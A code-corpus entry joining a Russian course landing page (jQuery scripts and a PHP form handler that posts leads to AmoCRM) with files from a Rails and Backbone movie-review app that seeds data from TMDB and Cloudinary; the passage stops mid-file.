<repo_name>Qianaol/01_AB<file_sep>/js/scripts.js // Preloader $(window).on('load', function () { console.log(1); var $preloader = $('#preloader'), $spinner = $preloader.find('.preloader_icon'); $spinner.fadeOut(); $preloader.delay(300).fadeOut(100); }); $(function () { var $page = $('html, body'), modal = $('.modal'), modalLayout = $('.modal_bgLayout'), $window = $(window), mobileMnu = $('.mobile_mnu'); //scrolling from link to the block $('a[href^="#"]').click(function () { $page.animate({ scrollTop: $($.attr(this, 'href')).offset().top }, 400); return false; }); //popup $('body').on('click', '.getFreeLessonBtn', function (e) { modal.fadeIn(); modalLayout.fadeIn(); return false; }); $('.modal_close, .modal_bgLayout').on('click', function (e) { modal.fadeOut(); modalLayout.fadeOut(); $('.table-wrapper').fadeOut(); $('.table-wrapper-juniorMobile').fadeOut(); $('.table-wrapper-middleMobile').fadeOut(); $('.table-wrapper-seniorMobile').fadeOut(); $('.table-wrapper-artMobile').fadeOut(); }); // $('.modal_close, .modal_bgLayout').on('click', function (e) { // $('.table-wrapper').fadeOut(); // modalLayout.fadeOut(); // }); function addEvForCouses() { if (window.innerWidth <= 850) { $('.getCourses').off('click'); $('.getCourseJunior').on('click', function (e) { e.preventDefault(); $('.table-wrapper-juniorMobile').fadeIn(); modalLayout.fadeIn(); }); $('.getCourseMiddle').on('click', function (e) { e.preventDefault(); $('.table-wrapper-middleMobile').fadeIn(); modalLayout.fadeIn(); }); $('.getCourseSenior').on('click', function (e) { e.preventDefault(); $('.table-wrapper-seniorMobile').fadeIn(); modalLayout.fadeIn(); }); $('.getCourseArtDer').on('click', function (e) { e.preventDefault(); $('.table-wrapper-artMobile').fadeIn(); modalLayout.fadeIn(); }); } else { $('.getCourses').off('click'); $('.getCourses').on('click', function (e) { $('.table-wrapper').fadeIn(); modalLayout.fadeIn(); return false; }); } } addEvForCouses(); //mobile menu function getWindowWidth() { var mnu = $('nav.clearfix'), mnuIcons = $('.mnu_icon'); if ($window.width() <= 880) { mnu.hide(); mnuIcons.show(); } else { mnu.show(); mnuIcons.hide(); } } getWindowWidth(); $window.resize(getWindowWidth); //menu btns $(document).click(function (e) { if ($('.mobile_mnu').data('toggle') === false && !$(e.target).parents('.mobile_mnu').length) { showMobileMnu(); } else if ($(e.target).hasClass('mnu_icon-right')) { showMobileMnu(); } }) function showMobileMnu() { if (mobileMnu.data('toggle') === true) { mobileMnu.data('toggle', false); $('.mnu_icon-right').addClass('active'); mobileMnu .stop() .animate({ opacity: 1, right: 0 }, 500); } else if (mobileMnu.data('toggle') === false) { mobileMnu.data('toggle', true); $('.mnu_icon-right').removeClass('active'); mobileMnu .stop() .animate({ opacity: 0, right: "-280px" }, 500); } } $('.mobile_mnu .navItem a').click(function (e) { showMobileMnu(); }); //smooth scroll // $("html, .table-wrapper, .table-wrapper-juniorMobile, .table-wrapper-middleMobile, .table-wrapper-seniorMobile, .table-wrapper-artMobile").niceScroll(); //animate numbers window.addEventListener('scroll', function onScroll() { if ($(window).scrollTop() >= $('.formBlock').first().offset().top) { $('.animateNumber-1').animateNumber({ number: 110 }, 1000); $('.animateNumber-2').animateNumber({ number: 42 }, 1000); $('.animateNumber-3').animateNumber({ number: 3 }, 1000); $('.animateNumber-4').animateNumber({ number: 206 }, 1000); this.removeEventListener('scroll', onScroll) } }) //lines function getHeaderForLines() { $('.section_header').each(function (index, item) { var $self = $(this), a = item.getBoundingClientRect(), b = this.parentNode; if ($self.siblings('.wrapper-left')) { $self.siblings('.wrapper-left').remove(); } createLines(a, b); }); } getHeaderForLines(); $(window).resize(function () { getHeaderForLines(); addEvForCouses(); }); function createLines(child, parent) { var wrapperLeft = $('<div class="wrapper-left">').css({ width: child.left, height: '1px', 'background-color': '#d7d7d7', position: 'absolute', top: '50%', left: 0 }); var wrapperRight = $('<div class="wrapper-left">').css({ width: child.left, height: '1px', 'background-color': '#d7d7d7', position: 'absolute', top: '50%', right: 0 }); wrapperLeft.appendTo(parent); wrapperRight.appendTo(parent); } // Parallax $('.mainScreen-wrapper').parallax({ imageSrc: 'img/mainScreen-bg.jpg', speed: 0.2 }); $('.forWhom').parallax({ imageSrc: 'img/thirdd-screen-bg.jpg', speed: 0.2 }); $('.whatYouGet').parallax({ imageSrc: 'img/fifth-screen-bg.jpg', speed: 0.2 }); $('.ourAim, .trustUs').parallax({ imageSrc: 'img/seventh-screen-bg.png', speed: 0.2 }); $('.library-dark-bg').parallax({ imageSrc: 'img/library-bg.jpg', speed: 0.2 }); // Flipping main header $('.demo').refineSlide({ maxWidth: 700, perspective: 1000, transition: 'cubeV', autoPlay: true, delay: 2000 }); // Privacy Policy $('.privacyPolicy_btn').click(function () { if (!$(this).data('privacy')) { $('.privacyPolicy').fadeIn(); $(this).data('privacy', true); } }); $('.privacyPolicy_close').click(function () { if ($('.privacyPolicy_btn').data('privacy')) { $('.privacyPolicy').fadeOut(); $('.privacyPolicy_btn').data('privacy', false); } }); }); // Calculator $(function () { var priceCounter = 50, timeCounter = 2, $workTime = 21, workPriceDevisible = true, canDo, canEarn, ckeckboxCounterLeft = 1, ckeckboxCounterRight = 0; // Математические рассчеты ==================================== function changeVal(val) { if (val.hasClass('disabled')) { return; } val.prop('checked', !val.prop('checked')); if (!val.prop('checked')) { priceCounter = priceCounter - val.data('price'); timeCounter = timeCounter - ((val.data('time') / 100) * 100); } else { priceCounter = priceCounter + val.data('price'); timeCounter = timeCounter + ((val.data('time') / 100) * 100); } showResult(); // console.log('Price: ' + priceCounter + ' ----- ' + 'Time: ' + timeCounter); } function setWorkTime(val) { if (val.attr('id') === 'work20Job') { workPriceDevisible = true; } else { workPriceDevisible = false; } $workTime = val.data('time'); showResult(); } function showResult() { canDo = ($workTime / timeCounter); if (workPriceDevisible === true) { canEarn = ((canDo * priceCounter) / 2).toFixed(2); } else { canEarn = (canDo * priceCounter).toFixed(2); } if (isNaN(canEarn) || !isFinite(canEarn)) { canEarn = 0; } if (isNaN(canDo) || !isFinite(canDo)) { canDo = 0; } $('#result-price').text('~ ' + canEarn + ' USD'); $('#result-projects').text('~ ' + Math.ceil(canDo) + ' шт.'); } showResult(); // ============================================================== // События взаимодействия с формой ============================== $('.calculator .block_1 .block_item').on('click', function (e) { var val = $(this), radio = val.find('input[type=radio]'); radio.prop('checked', true); $('.block_item_diamond.active').removeClass('active'); val.find('.block_item_diamond').addClass('active'); setWorkTime(radio); }); // Поиск и установка стилей для дефолтных значений function setDefaultValues() { var inputCheckboxes = $('.calcWrapper input[type=checkbox]'), inputRadioes = $('.calcWrapper input[type=radio]'); inputRadioes.each(function () { if ($(this).is(':checked')) { $(this) .siblings('.block_item_diamond') .addClass('active'); } }); inputCheckboxes.each(function () { if ($(this).is(':checked')) { $(this).siblings('.switcher').addClass('active'); } }); } setDefaultValues(); // Изменение значений при обытии и задание стилей // для поточного элемента var block = $('div.disabled'), blockInput = block.find('.input'), blockSwitcher = block.find('.switcher'); console.log(block, blockInput, blockSwitcher); $('.block_item > div').on('click', function (e) { var target = $(this), input = target.find('.input'), switcher = target.find('.switcher'), parent = target.parent().attr('class').split(' ')[1]; if (parent == undefined) { return; } changeVal(input); toggleSwitcher(switcher); ckeckRedLine(parent); if ($('.switcher.active').length >= 9) { block.removeClass('disabled'); blockInput.removeClass('disabled'); blockSwitcher.removeClass('disabled'); changeVal(blockInput); toggleSwitcher(blockSwitcher); } else { block.addClass('disabled'); blockInput.addClass('disabled'); blockSwitcher.addClass('disabled'); } }); function toggleSwitcher(val) { if (val.hasClass('disabled')) { return; } val.toggleClass('active'); } // Активация / деактивация красных линий function ckeckRedLine(type) { var block = $('.block_2 .' + type), input = block.find('.input'); if (input.is(':checked')) { $('.block_lines .' + type).addClass('active'); } else { $('.block_lines .' + type).removeClass('active'); } } }); <file_sep>/zakaz.php <?php use \AmoCRM\Handler; use \AmoCRM\Request; use \AmoCRM\Lead; use \AmoCRM\Contact; use \AmoCRM\Task; require('vendor/autoload.php'); /* Предположим, пользователь ввел какие-то данные в форму на сайте */ $name = $_POST['name']; $phone = $_POST['phone']; /* Оборачиваем в try{} catch(){}, чтобы отлавливать исключения */ try { $api = new Handler('new58cfda0262beb', '<EMAIL>'); /* Создаем сделку, $api->config содержит в себе массив конфига, который вы создавали в начале */ $lead = new Lead(); $lead /* Название сделки */ ->setName('Заявка с сайта') /* Назначаем ответственного менеджера */ ->setResponsibleUserId($api->config['ResponsibleUserId']) /* Кастомное поле */ ->setCustomField( $api->config['LeadFieldCustom'], // ID поля $api->config['LeadFieldCustomValue1'] // ID значения поля ) /* Статус сделки */ ->setStatusId($api->config['LeadStatusId']); /* Отправляем данные в AmoCRM В случае успешного добавления в результате будет объект новой сделки */ $api->request(new Request(Request::SET, $lead)); /* Сохраняем ID новой сделки для использования в дальнейшем */ $lead = $api->last_insert_id; /* Создаем контакт */ $contact = new Contact(); $contact /* Имя */ ->setName($name) /* Назначаем ответственного менеджера */ ->setResponsibleUserId($api->config['ResponsibleUserId']) /* Привязка созданной сделки к контакту */ ->setLinkedLeadsId($lead) /* Кастомные поля */ ->setCustomField( $api->config['ContactFieldPhone'], $phone, // Номер телефона 'MOB' // MOB - это ENUM для этого поля, список доступных значений смотрите в информации об аккаунте ); /* Проверяем по емейлу, есть ли пользователь в нашей базе */ $api->request(new Request(Request::GET, ['query' => $phone], ['contacts', 'list'])); /* Если пользователя нет, вернется false, если есть - объект пользователя */ $contact_exists = ($api->result) ? $api->result->contacts[0] : false; /* Если такой пользователь уже есть - мержим поля */ if ($contact_exists) { $contact /* Указываем, что пользователь будет обновлен */ ->setUpdate($contact_exists->id, $contact_exists->last_modified + 1) /* Ответственного менеджера оставляем кто был */ ->setResponsibleUserId($contact_exists->responsible_user_id) /* Старые привязанные сделки тоже сохраняем */ ->setLinkedLeadsId($contact_exists->linked_leads_id); } /* Создаем задачу для менеджера обработать заявку */ $task = new Task(); $task /* Привязка к созданной сделке */ ->setElementId($lead) /* Тип привязки (к сделке или к контакту) Смотрите комментарии в Task.php */ ->setElementType(Task::TYPE_LEAD) /* Тип задачи. Смотрите комментарии в Task.php */ ->setTaskType(Task::CALL) /* ID ответственного за задачу менеджера */ ->setResponsibleUserId($api->config['ResponsibleUserId']) /* Дедлайн задачи */ ->setCompleteTill(time() + 60 * 2) /* Текст задачи */ ->setText('Обработать заявку'); /* Отправляем все в AmoCRM */ $api->request(new Request(Request::SET, $contact)); $api->request(new Request(Request::SET, $task)); } catch (\Exception $e) { echo $e->getMessage(); } ?>
0672e264c86993e619b6cfb17acebad479660aaf
[ "JavaScript", "PHP" ]
2
JavaScript
Qianaol/01_AB
15857d2960de2afbcfc6f867ccecf25763c624db
ca78b50b8c2cb17172fb3c9b4b6efba4e18e53fb
refs/heads/master
<repo_name>markhao-cb/BDMI<file_sep>/docs/phases/phase2.md # Phase 2: Viewing Movie Info and Adding Comments ## Rails ### Models ### Controllers Api::CommentsController (create, destroy, show, update) ### Views * movies/show.json.jbuilder ## Backbone ### Models * Movie (parses nested `comments` association) * Comment ### Collections * Comments ### Views * CommentForm * MovieShow (composite view, contains CommentsIndex subview) * CommentsIndex (composite view, contains CommentsIndexItem subviews) * CommentsIndexItem ## Gems/Libraries <file_sep>/app/views/api/genres/genre_index.json.jbuilder json.array! @movies.results do |movie| unless movie["poster_path"].nil? json.extract!( movie, 'id', 'title', 'release_date', 'vote_average', 'vote_count', 'popularity', 'poster_path', 'overview' ) json.set! :genre_name, @genre.name json.set! :page_num, @movies.page json.set! :base_url, @config.base_url json.set! :genres do json.array! @genres do |genre| json.partial! 'api/genres/genre', genre: genre end end end end <file_sep>/app/assets/javascripts/models/user.js BDMI.Models.User = Backbone.Model.extend({ urlRoot: '/api/users', parse: function(payload) { if (payload.reviews) { this.reviews().set(payload.reviews); delete payload.reviews; } if (payload.watched_movies) { this.watchedMovies().set(payload.watched_movies); delete payload.watched_movies; } if (payload.wanted_movies) { this.wantedMovies().set(payload.wanted_movies); delete payload.wanted_movies; } return payload; }, reviews: function() { if (this._reviews === undefined) { this._reviews = new BDMI.Collections.Reviews(); } return this._reviews; }, watchedMovies: function() { if(this._watchedMovies === undefined) { this._watchedMovies = new BDMI.Collections.InTheatersMovies(); } return this._watchedMovies; }, wantedMovies: function() { if(this._wantedMovies === undefined) { this._wantedMovies = new BDMI.Collections.InTheatersMovies(); } return this._wantedMovies; }, }); <file_sep>/app/views/api/movies/_movie_show.json.jbuilder json.extract!( movie, :id, :title, :release_date, :vote_average, :vote_count, :popularity, :revenue, :runtime, :overview, :budget, :tagline, :imdb_id, ) if display_score json.set! :votes, votes json.set! :vote_score, score end if display_user json.set! :in_watched, watched json.set! :in_wanted, wanted end if display_images json.images do json.array! movie.images do |image| json.partial! 'api/movies/image', image: image end end end if display_reviews json.reviews do json.array! movie.reviews.includes(:author).includes(:likes) do |review| json.partial! 'api/reviews/review', review: review end end end if display_posters json.posters do json.array! movie.posters do |poster| json.partial! 'api/movies/poster', poster: poster end end end if display_actors json.actors do json.array! movie.actors.includes(:castings, :images, :likes) do |actor| json.partial! 'api/actors/actor', actor: actor, display_images: true, display_casting: true, movie_id: movie.id end end end if display_genres json.genres do json.array! movie.genres do |genre| json.partial! 'api/genres/genre', genre: genre end end end <file_sep>/app/controllers/api/wanteds_controller.rb class Api::WantedsController < ApplicationController def create wanted = Wantwatchmovie.find_by(user_id: current_user.id, movie_id: params[:movie_id]) unless wanted wanted = current_user.want_watchs.new(movie_id: params[:movie_id]) if wanted.save render json: wanted else render json: { error: wanted.errors.full_messages }, status: 422 end else render json: wanted end end def destroy wantwatch = Watchedmovie.find(params[:id]) wantwatch.destroy render json: wantwatch end end <file_sep>/docs/phases/phase3.md # Phase 3: Searching for Movies By Title ## Rails ### Models ### Controllers Api::MoviesController (search) ### Views ## Backbone ### Models ### Collections ### Views * MovieSearchItem * SearchShow (composite view, contains MoviesIndex subviews) ## Gems/Libraries <file_sep>/app/assets/javascripts/views/actors/casts_item.js BDMI.Views.CastsItem = Backbone.CompositeView.extend({ template: JST['movie/in_theaters_item'], className: "in_theaters_item", events: { "click .small_image":"handleClick", "hover":"handleHover", "mouseenter .small_image": "handleEnter", "mouseleave .small_image": "handleLeave" }, initialize: function() { this.listenTo(this.model, 'sync change', this.render); }, render: function() { var poster_url = this.model.attributes.base_url + "original" + this.model.attributes.poster_path; var content = this.template({ movie: this.model, poster_url: poster_url }); this.$el.html(content); this.generateStars(); return this; }, handleClick: function(event) { this.$el.addClass('animated flipOutX'); this.$el.one('webkitAnimationEnd', function() { this.movieShow(); this.render(); }.bind(this)); }, movieShow: function() { window.scrollTo(0, 0); Backbone.history.navigate("movies/"+this.model.id, { trigger: true }); }, handleEnter: function(event) { $(event.currentTarget).addClass('animated infinite pulse'); }, handleLeave: function(event) { $(event.currentTarget).removeClass('animated infinite pulse'); }, generateStars: function() { this.$('.small_movie_score').empty(); var grade = Math.floor(this.model.get('vote_score') / 2); var star = Math.max(0, (Math.min(5, grade))); var blank = 5 - star; while (star > 0) { var $star = $("<span></span>"); $star.text("★"); this.$('.small_movie_score').append($star); star--; } while (blank > 0) { var $blank = $("<span></span>"); $blank.text("☆"); this.$('.small_movie_score').append($blank); blank--; } } }); <file_sep>/app/assets/javascripts/views/movies/carousel.js BDMI.Views.CarouselItemView = Backbone.CompositeView.extend({ template: JST['movie/carousel'], className: "item", events: { "click": "show" }, initialize: function() { this.listenTo(this.model, 'sync', this.render); }, render: function() { var image_url = this.model.images().first().attributes.image_url.slice(0,48)+ "/c_lpad,w_800"+this.model.images().first().attributes.image_url.slice(48); var content = this.template({ image_url: image_url }); this.$el.html(content); return this; }, show: function(event) { Backbone.history.navigate("movies/" + this.model.id, { trigger: true} ); } }); <file_sep>/app/assets/javascripts/models/trailer.js BDMI.Models.Trailer = Backbone.Model.extend({ urlRoot: "/api/trailer" }); <file_sep>/docs/views.md # View Wireframes ## New Session ![new-session] ## Movie Index ![movie-index] ## Movie Show ![movie-show] ## Comment Form ![comment-form] [new-session]: ./wireframes/new_session.png [movie-index]: ./wireframes/movie_index.png [movie-show]: ./wireframes/movie_show.png [comment-form]: ./wireframes/comment_form.png <file_sep>/app/assets/javascripts/collections/posters.js BDMI.Collections.MoviePosters = Backbone.Collection.extend({ model: BDMI.Models.MoviePoster }); <file_sep>/app/views/api/movies/_poster.json.jbuilder json.extract!(poster, :id, :poster_url) <file_sep>/db/seeds.rb Tmdb::Api.key(ENV['THEMOVIEDB_API_KEY']) auth = { cloud_name: ENV['CLOUD_NAME'], api_key: ENV['CLOUD_API_KEY'], api_secret: ENV['CLOUD_API_SECRET'], upload_preset: ENV['UPLOAD_PRESET'] }; config = Tmdb::Configuration.new #-------------------------Genres--------------------------- # genres = Tmdb::Genre.list["genres"] # genres.each do |genre| # id = genre["id"] # name = genre["name"] # Genre.create(id:id, name:name) # end in_theaters_movies = Tmdb::Movie.now_playing # API called here !! top_rated_movies = Tmdb::Movie.top_rated #-------------------------Movies--------------------------- in_theaters_movies.each do |m| unless Movie.find_by(id: m["id"]) movie = Tmdb::Movie.detail(m["id"]) id = movie["id"] title = movie["title"] release_date = movie["release_date"] vote_average = movie["vote_average"] vote_count = movie["vote_count"] popularity = movie["popularity"] overview = movie["overview"] runtime = movie["runtime"] imdb_id = movie["imdb_id"] tagline = movie["tagline"] budget = movie["budget"] revenue = movie["revenue"] unless movie['backdrop_path'].nil? || movie['poster_path'].nil? || vote_count == 0 || release_date.nil? backdrop_path = "#{config.base_url}original#{movie["backdrop_path"]}" backdrop = Cloudinary::Uploader.upload(backdrop_path,auth) image_url = backdrop["url"] poster_path = "#{config.base_url}original#{movie["poster_path"]}" poster = Cloudinary::Uploader.upload(poster_path,auth) poster_url = poster["url"] newMovie = Movie.create( id: id, title: title, release_date: release_date, vote_average: vote_average, vote_count: vote_count, popularity: popularity, overview: overview, runtime: runtime, imdb_id: imdb_id, tagline: tagline, budget: budget, revenue: revenue ) #---------------------------Taggings--------------------------- movie["genres"].each do |genre| genre_id = genre["id"] Tagging.create(genre_id:genre_id, movie_id:movie["id"]) end #---------------------------Images--------------------------- newMovie.posters.create(poster_url:poster_url) newMovie.images.create(image_url:image_url) casts = Tmdb::Movie.casts(newMovie.id) casts.each do |actor| if actor["order"] < 11 person = Tmdb::Person.detail(actor["id"]) if person["profile_path"] != nil if Actor.find_by(id:person["id"]) == nil newActor = Actor.create!( id:person["id"], name:person["name"], place_of_birth:person["place_of_birth"], birthday:person["birthday"] ) profile_path = "#{config.base_url}original#{person["profile_path"]}" profile = Cloudinary::Uploader.upload(profile_path,auth) image_url = profile["url"] newActor.images.create!(image_url:image_url) end Casting.create!( actor_id:person["id"], movie_id:newMovie.id, ord: actor["order"], act_as: actor["character"] ) end end end end end end top_rated_movies.take(10).each do |m| unless Movie.find_by(id: m["id"]) movie = Tmdb::Movie.detail(m["id"]) id = movie["id"] title = movie["title"] release_date = movie["release_date"] vote_average = movie["vote_average"] vote_count = movie["vote_count"] popularity = movie["popularity"] overview = movie["overview"] runtime = movie["runtime"] imdb_id = movie["imdb_id"] tagline = movie["tagline"] budget = movie["budget"] revenue = movie["revenue"] unless movie['backdrop_path'].nil? || movie['poster_path'].nil? || vote_count == 0 || release_date.nil? backdrop_path = "#{config.base_url}original#{movie["backdrop_path"]}" backdrop = Cloudinary::Uploader.upload(backdrop_path,auth) image_url = backdrop["url"] poster_path = "#{config.base_url}original#{movie["poster_path"]}" poster = Cloudinary::Uploader.upload(poster_path,auth) poster_url = poster["url"] newMovie = Movie.create( id: id, title: title, release_date: release_date, vote_average: vote_average, vote_count: vote_count, popularity: popularity, overview: overview, runtime: runtime, imdb_id: imdb_id, tagline: tagline, budget: budget, revenue: revenue ) #---------------------------Taggings--------------------------- movie["genres"].each do |genre| genre_id = genre["id"] Tagging.create(genre_id:genre_id, movie_id:movie["id"]) end #---------------------------Images--------------------------- newMovie.posters.create(poster_url:poster_url) newMovie.images.create(image_url:image_url) casts = Tmdb::Movie.casts(newMovie.id) casts.each do |actor| if actor["order"] < 11 person = Tmdb::Person.detail(actor["id"]) if person["profile_path"] != nil if Actor.find_by(id:person["id"]) == nil newActor = Actor.create!( id:person["id"], name:person["name"], place_of_birth:person["place_of_birth"], birthday:person["birthday"] ) profile_path = "#{config.base_url}original#{person["profile_path"]}" profile = Cloudinary::Uploader.upload(profile_path,auth) image_url = profile["url"] newActor.images.create!(image_url:image_url) end Casting.create!( actor_id:person["id"], movie_id:newMovie.id, ord: actor["order"], act_as: actor["character"] ) end end end end end end #---------------------------Actors--------------------------- # Movie.all.each do |dbmovie| #casts = Tmdb::Movie.casts(dbmovie.id) # casts.each do |actor| # # if actor["order"] < 11 # person = Tmdb::Person.detail(actor["id"]) # # if person["profile_path"] != nil # # if Actor.find_by(id:person["id"]) == nil # newActor = Actor.create!( # id:person["id"], # name:person["name"], # place_of_birth:person["place_of_birth"], # birthday:person["birthday"] # ) # # profile_path = "#{config.base_url}original#{person["profile_path"]}" # profile = Cloudinary::Uploader.upload(profile_path,auth) # image_url = profile["url"] # # newActor.images.create!(image_url:image_url) # end # # Casting.create!( # actor_id:person["id"], # movie_id:dbmovie.id, # ord: actor["order"], # act_as: actor["character"] # ) # end # end # end # end <file_sep>/app/models/tagging.rb # == Schema Information # # Table name: taggings # # id :integer not null, primary key # movie_id :integer not null # genre_id :integer not null # created_at :datetime not null # updated_at :datetime not null # class Tagging < ActiveRecord::Base validates :movie, :genre, presence: true belongs_to :movie belongs_to :genre end <file_sep>/app/assets/javascripts/collections/searched_movies.js BDMI.Collections.SearchedMovies = Backbone.Collection.extend({ url: "/api/search_results", model: BDMI.Models.SearchedMovie, comparator: function(m) { return -m.get("vote_count"); } }); <file_sep>/app/views/api/actors/_actor_show.json.jbuilder json.extract!(actor, :name, :birthday, :place_of_birth, :biography) if display_images json.images do json.array! actor.images do |image| json.partial! 'api/movies/image', image: image end end end if display_movies json.credits do json.array! credits do |movie| unless movie['poster_path'].nil? || movie['media_type'] != 'movie' json.extract!( movie, 'id', 'character', 'title', 'release_date', 'poster_path' ) json.extract!(config, :base_url) end end end end <file_sep>/app/assets/javascripts/collections/reviews.js BDMI.Collections.Reviews = Backbone.Collection.extend({ url: "/api/reviews", model: BDMI.Models.Review, comparator: "created_at" }); <file_sep>/app/views/api/users/_user_review.json.jbuilder json.extract!( review, :id, :title, :body, :grade, :created_at, :updated_at, :author_id ) json.set! :author_name, author_name json.set! :movie, review.movie json.set! :poster, review.movie.posters.first <file_sep>/app/assets/javascripts/collections/top_rated_movies.js BDMI.Collections.TopRatedMovies = Backbone.Collection.extend({ url: "/api/top_rated_movies", model: BDMI.Models.TopRatedMovie }); <file_sep>/app/assets/javascripts/views/movies/main.js BDMI.Views.Main = Backbone.CompositeView.extend({ template: JST.main, className: "main_container group", initialize: function() { this.addIntroView(); this.addMovieInTheatersView(); this.addTopRatedView(); this.addSearchView(); }, addIntroView: function() { var introMovies = new BDMI.Collections.IntroMovies(); var subview = new BDMI.Views.Intro({ collection: introMovies }); this.addSubview('#hot',subview); }, addMovieInTheatersView: function() { var movies = new BDMI.Collections.InTheatersMovies(); var subview = new BDMI.Views.InTheaters({ collection: movies }); this.addSubview('#new', subview); }, addTopRatedView: function() { var movies = new BDMI.Collections.TopRatedMovies(); var subview = new BDMI.Views.TopRatedView({ collection: movies }); this.addSubview('#top',subview); }, addSearchView: function() { var subview = new BDMI.Views.Search(); this.addSubview('#search',subview); }, render: function() { var content = this.template(); this.$el.html(content); this.attachSubviews(); return this; } }); <file_sep>/app/assets/javascripts/collections/movie_images.js BDMI.Collections.MovieImages = Backbone.Collection.extend({ model: BDMI.Models.MovieImage }); <file_sep>/app/assets/javascripts/views/movies/search.js BDMI.Views.Search = Backbone.CompositeView.extend({ template: JST['movie/search'], className: "search-section", events: { "submit form": "search" }, render: function() { var content = this.template(); this.$el.html(content); this.registerSearchListener(); this.attachSubviews(); return this; }, search: function(event) { event.preventDefault(); var formData = $(event.currentTarget).serializeJSON().search; if (formData[1].length < 2) { this.flashAlert(["Too short! Please be more specific."]); } else { if (formData[0] === "movie") { Backbone.history.navigate("search/movies/"+formData[1], { trigger: true }); } else { Backbone.history.navigate("search/person/"+formData[1], { trigger: true }); } } }, registerSearchListener: function() { var typingTimer; //timer identifier var doneTypingInterval = 500; //time in ms, 0.5 seconds var $input = this.$('#myInput'); //on keyup, start the countdown $input.on('paste keydown', function() { $('.search_dropdown_section').remove(); clearTimeout(typingTimer); if ($input.val() !== "") { typingTimer = setTimeout(this.doneTyping.bind(this), doneTypingInterval); } }.bind(this)); }, getSelectionText: function() { var text = ""; if (window.getSelection) { text = window.getSelection().toString(); } else if (document.selection && document.selection.type != "Control") { text = document.selection.createRange().text; } return text; }, doneTyping: function() { var formData = this.$('form').serializeJSON().search; if (formData[0] === "movie") { this.movieSearchDrop(formData[1]); } else { this.persionSearchDrop(formData[1]); } }, movieSearchDrop: function(title) { var searchedMovies = new BDMI.Collections.SearchedMovies(); searchedMovies.fetch({ data: { title:title }, processData: true, success: function(collection) { if (collection.length === 0) { $('.search_dropdown_section').remove(); } }.bind(this) }); var dropDownView = new BDMI.Views.SearchDropDown({ collection: searchedMovies, type: 'movie' }); this.addSubview('#dropdown',dropDownView); }, persionSearchDrop: function(name) { var searchedPerson = new BDMI.Collections.MovieActors(); var person = searchedPerson.fetch({ data: { name: name }, processData: true, success: function(collection) { if (collection.length === 0) { $('.search_dropdown_section').remove(); } }.bind(this) }); var dropDownView = new BDMI.Views.SearchDropDown({ collection: searchedPerson, type: 'person' }); this.addSubview('#dropdown',dropDownView); }, flashAlert: function(messages) { var alertView = new BDMI.Views.AlertView({ messages: messages }); $('body').append(alertView.$el); alertView.render(); alertView.$(".alert").addClass('animated fadeIn'); setTimeout(function() { alertView.$(".alert").removeClass('fadeIn'); alertView.$(".alert").addClass('fadeOut'); alertView.$(".alert").one("webkitAnimationEnd", function() { alertView.remove(); }); },2000); } }); <file_sep>/app/assets/javascripts/views/users/user_review_item.js BDMI.Views.UserPageReviewItem = Backbone.CompositeView.extend({ template: JST['users/user_review_item'], className: "review-item-user group", events: { "click #user-review-movie": "handleClick" }, initialize: function() { this.listenTo(this.model, 'sync', this.render); this.addReviewView(this.model); this.poster_url = this.model.attributes.poster.poster_url; }, addReviewView: function(review) { var subview = new BDMI.Views.Review({ model: review }); this.addSubview("#user-review-content", subview); }, render: function() { var content = this.template({ poster_url: this.poster_url }); this.$el.html(content); this.attachSubviews(); return this; }, handleClick: function() { window.scrollTo(0,0); Backbone.history.navigate('movies/'+this.model.attributes.movie.id, { trigger: true }); } }); <file_sep>/app/views/api/movies/movie_index.json.jbuilder json.array! @movies do |movie| reviews = movie.reviews votes = movie.vote_count + movie.reviews.count vote_score = (movie.vote_average * movie.vote_count + reviews.sum(:grade) + reviews.count) / votes json.partial! 'movie_show', movie: movie, config: @config, score: vote_score, votes: votes, display_score: true, display_images: true, display_reviews: false, display_posters: true, display_actors: false, display_genres: false, display_user: false end <file_sep>/config/routes.rb Rails.application.routes.draw do root to: 'roots#root' resources :users, only: [:new, :create] resource :session, only: [:new, :create, :destroy] namespace :api, defaults: { format: :json } do resources :users, only: [:index, :show] resources :movies, only: [:show] resources :reviews, only: [:index, :create, :update, :destroy] resources :actors, only: [:index, :show] resources :watcheds, only: [:create, :destroy] resources :wanteds, only: [:create, :destroy] resources :genres, only: [:index, :show] get '/intro_movies_index', to: 'movies#intro_movies_index' get '/in_theaters_movies', to: 'movies#in_theaters_movies_index' get '/top_rated_movies', to: 'movies#top_rated' get '/search_results', to: 'movies#search' get '/trailer', to: 'movies#search_trailer' end end <file_sep>/db/migrate/20150814184147_create_posters.rb class CreatePosters < ActiveRecord::Migration def change create_table :posters do |t| t.string :poster_url, null: false t.integer :movie_id, null: false t.timestamps null: false end add_index :posters, :movie_id end end <file_sep>/app/controllers/api/watcheds_controller.rb class Api::WatchedsController < ApplicationController def create watched = Watchedmovie.find_by(user_id: current_user.id, movie_id: params[:movie_id]) unless watched watched = current_user.has_watcheds.new(movie_id: params[:movie_id]) if watched.save render json: watched else render json: { error: watched.errors.full_messages }, status: 422 end else render json: watched end end def destroy watched = Watchedmovie.find(params[:id]) watched.destroy render json: watched end end <file_sep>/db/migrate/20150821085744_create_trailers.rb class CreateTrailers < ActiveRecord::Migration def change create_table :trailers do |t| t.string :source, null: false t.integer :movie_id, null: false t.timestamps null: false end add_index :trailers, :movie_id, unique: true end end <file_sep>/app/controllers/api/actors_controller.rb class Api::ActorsController < ApplicationController def index name = params[:name] || "Tom" @actors = Actor.search_actors_by_name(name) @config = Movie.find_config render 'actors' end def show person_id = params[:id] @credits = Actor.search_credits(person_id)['cast'] @actor = Actor.find_by(id: person_id) if @actor.nil? || @actor.biography.nil? Actor.search_and_store_by_id(person_id) @actor = Actor.find_by(id: person_id) end @config = Movie.find_config render 'show' end end <file_sep>/app/assets/javascripts/views/users/user_show.js BDMI.Views.UserShow = Backbone.CompositeView.extend({ template: JST['users/user_show'], initialize: function() { this.listenTo(this.model, 'sync', this.render); this.addReviewView(); this.addWatchListView(); this.addWatchedListView(); this.addPageScrollAnimation(); }, addReviewView: function() { var subview = new BDMI.Views.UserReviews({ collection: this.model.reviews() }); this.addSubview('.user-reviews', subview); }, addWatchListView: function() { var subview = new BDMI.Views.UserWatchList({ collection: this.model.wantedMovies() }); this.addSubview('.user-watchlist', subview); }, addWatchedListView: function() { var subview = new BDMI.Views.UserWatchedList({ collection: this.model.watchedMovies() }); this.addSubview('.user-watched-list', subview); }, render: function() { var content = this.template(); this.$el.html(content); this.attachSubviews(); return this; }, addPageScrollAnimation: function() { $('a.page-scroll').bind('click', function(event) { if(Backbone.history.getFragment() !== "" && !$(event.currentTarget).hasClass('user_login')) { Backbone.history.navigate("", { trigger: 